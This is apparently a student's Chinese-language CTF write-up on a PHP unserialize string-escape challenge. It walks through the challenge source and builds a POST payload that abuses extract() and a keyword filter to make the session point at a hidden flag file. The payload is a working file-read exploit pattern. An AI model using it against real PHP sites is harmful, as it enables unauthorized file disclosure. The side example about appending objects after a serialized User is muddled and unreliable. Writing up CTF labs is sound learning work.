写一些wp来帮助自己记忆和理解关于反序列化对象逃逸的知识。
首先直接来看源代码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
先不去着重看每块代码之间的联系,而以看懂每一段代码为主
一、每段代码的解释
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
这里其实就是一个过滤的函数:将参数传进来、创建一个包含多个字符串元素的数组(作为要被过滤的敏感词)、将filter_arr中的元素用 '|' 拼接成一个字符串,就像:php|flag|php5|php4|fl1g ,然后将拼接好的字符串前后添加 '/' 并添加 i 修饰符,就得到了正则表达式: /php|flag|php5|php4|fl1g/i 、然后再进行过滤,把敏感词过滤掉,将他们替换成空字符串。
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
首先检查$_SESSION变量是否存在且不为空,如果存在就销毁$_SESSION变量
然后向$_SESSION中分别添加名为"user"和"function"的元素,并设值
extract($_POST)会进行变量覆盖,这是个题眼,稍后会介绍这段代码的用处。
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
这段代码主要目的是根据$_GET中是否存在img_path来决定如何存储img的信息到$_SESSION中
如果没有在GET中设置img_path的值的话,就只是将guest_img.png这个量进行base64加密就可以了,这样看起来更容易让我们接受。
而如果设置了img_path的话,还会进行哈希处理。
所以这里我们可以考虑不在GET中设置img_path的值,这样img的值直接就是经过guest_img.png经过base64加密后的值了: Z3Vlc3RfaW1nLnBuZw==
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
然后命名一个变量$serialize_info,是对$_SESSION先进行序列化再进行过滤后的操作
然后是三个判断,是对传入function的值进行的判断
1. 如果传入是phpinfo,会自动到phpinfo.php的界面,这里还给了点提示
2. 如果传入的是show_image,会先对$serialize_info进行反序列化,然后会对反序列化后的$serialize_info进行base64解码,再读取其中有关img部分的内容。
总结
到这里其实已经稍微清楚一些了。如果要读flag的话,就只能是传show_image进去,但是最终读的img是我们之前的guest_img.png,接下来会引申出几个问题:有没有别的文件可以让我们读?如何只让我们读我们想让读的,而不是guest_img.png?
二、phpinfo含有的信息
按照它给的提示,直接传phpinfo进去
最终找到了这个文件 d0g3_f1ag.php
三、覆盖原有的img
我们知道,根据这段代码
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
我们的img的值只会被保存为guest_img.png
其他代码还有没有可以供我们利用的?
其实只有这段:
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
这段代码现在还不明白具体作用是什么,接下来讲一个小例子帮助理解:
注意:由于需要改动POST参数,这里提供两个选择:1、用phpstudy搭建网站改POST
2、直接用phpstorm配置的解释器打开网站
这里我直接用phpstudy工具,代码如下:
<?php
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
var_dump($_SESSION);
看一下这段代码的运行结果是什么:
现在是这段代码:
<?php
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
extract($_POST);
var_dump($_SESSION);
配合hackbar使用改POST
此时发现将原有的user变量给覆盖掉了。
总结
这里应该有个总结。再来回顾一下,根据我们的代码审计,得到了下面的信息:(1)我们的过滤函数是将序列化的$_SESSION传进来的 (2)我们的img会被设置为guest_img.png的base64值 (3)我们可以使用extract($_POST)对$_SESSION中的变量值进行覆盖
也许我们可以借用POST参数来进行覆盖这里的guest_img.png
四、反序列化对象逃逸
反序列化对象逃逸原理介绍:
现在假设有这样一个场景:
一个简单的用户类User
class User {
public $name;
public $role;
}
还有一个处理用户数据的脚本,它接收一个序列化后的用户数据,进行反序列化,并根据用户角色来显示不同的内容
$serialized_user = $_POST['user_data'];
$user = unserialize($serialized_user);
if ($user->role === 'admin') {
echo "You have administrative privileges. Here is some sensitive information.";
} else {
echo "You are a regular user.";
}
首先我可以先发送一个正常的序列化用户对象:
O:4:"User":2:{s:4:"name";s:8:"John Doe";s:4:"role";s:7:"regular";} 就是我们要发送的正常的序列化对象,这样说明我只是个普通的用户
但这时如果我想要获取管理员权限,就可以使用反序列化对象逃逸,假设此时程序并没有对此时输入的$_POST的长度进行检查,我就可以这样进行构造:
$test1='O:4:"User":2:{s:4:"name";s:8:"John Doe";s:4:"role";s:7:"regular";}';
$test2='O:4:"User":2:{s:4:"name";s:5:"Alice";s:4:"role";s:5:"admin";}a:1:{i:0;O:4:"User":2:{s:4:"name";s:4:"Eve";s:4:"role";s:4:"user";}}';
1.看这里的$test2,在处理完第一个User对象后,会继续解析后面的数组部分,关键是,应用程序可能只关注了第一个反序列化后的User对象的role属性来判断权限。所以导致第一个对象逃逸进去。
2.至于为什么不直接构造一个正常的admin用户:(1)首先,别的程序可能会进行额外的权限验证,例如:程序可能会检查用户是否在数据库中,并且是否真的被赋予了admin权限;(2)而通过复杂输入会导致错误,在处理完第一个User用户后,由于无法正确解析后面的操作而发生错误,这个时候可以帮助前面的User用户逃脱检测,或者在User用户后拼接恶意代码,以供攻击者在后面使用。
上面就是反序列化对象逃逸的介绍了。
本题解法
而在这道题中,与上面不一样的是,我们只能控制传入$_SESSION中的一个变量,但我们又不能直接把字符串构造成我们想的最简单也是最直接的那种——$_SESSION['img']的改变在extract()之后。也就是说,我们并不能直接影响到img而将其改为我们想要的d0g3_f1ag.php的编码形式。
但我们可以‘间接’影响到,下面的条件还没用到:
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
这个过滤函数会将敏感字符替换为空,并且!是在对img赋值后进行的,注意,这里传的并不是img,而是
$serialize_info = filter(serialize($_SESSION));
将整个的序列化的$_SESSION传进去了,如果我序列化后的$_SESSION中含有敏感词呢?
再来一个场景:
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function']='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}'; //是d0g3_f1ag.php的base64编码
$_SESSION['img']='Z3Vlc3RfaW1nLnBuZw==';// guest_img.png的base64编码
先不去管function的值是什么,得到的序列化后的结果为:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:58:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这里我们的user对应的值全是要过滤的字符,看看引入过滤函数后会变成什么:
a:3:{s:4:"user";s:24:"";s:8:"function";s:58:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
可以看到,flag全部被替换为空,但是,我们后面还有反序列化操作,反序列化操作会按规定来读取后面的24的字符。
在这里就是:
s:24:" ";s:8:"function";s:58:"a ";
很明显,这样构造下来便合理了。那么攻击者后面构造的img呢?自然就被当做是正常的了,原本正常的img被我们精心构造的 '}' 给隔绝在外,变成了垃圾字符。
欧克,场景结束,现在来开始精心构造我们的payload
首先我们传入的_SESSION中肯定要含有:
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}// 是d0g3_f1ag.php的base64编码
在此基础上,前面还应该加一些什么
我们再回顾一下上面的场景:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:58:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
红色的是我们认为不合理的地方,而不合理的地方就应该被转化为字符型不发挥任何作用。
不合理的地方很明显,是由后面的img所导致的,而这道题,其不合理的地方是:
假设先传a进去。这里的: ";s:40:" 7个字符是这里不合理的地方,并且只由后面决定,所以我们前面传入的参数名称的长度应该为7,flagphp就很好。
对象名 ";s:40:' 传进去了,后面在补上其值 s:1:"1";就合理了。
$_SESSION['flagphp']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; //是d0g3_f1ag.php的base64编码
$_SESSION['img']='Z3Vlc3RfaW1nLnBuZw=='; //guest_img.png的base64编码
payload为:
_SESSION['flagphp']=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
查看到的页面没有内容,查看源码试试:
看到flag 再读/d0g3_fllllllag,也是将其转化为base64格式:
要保证这里的构造合理
得到flag
五、最后的总结
1.首先关注这道题读取flag可能的地方,就是file_get_contents函数了,然 后如何精心构造payload,还需要继续练习,有时候序列化反序列化就绕进去了。。
2.第一次写文章,有问题的地方感谢大家提意见@=@》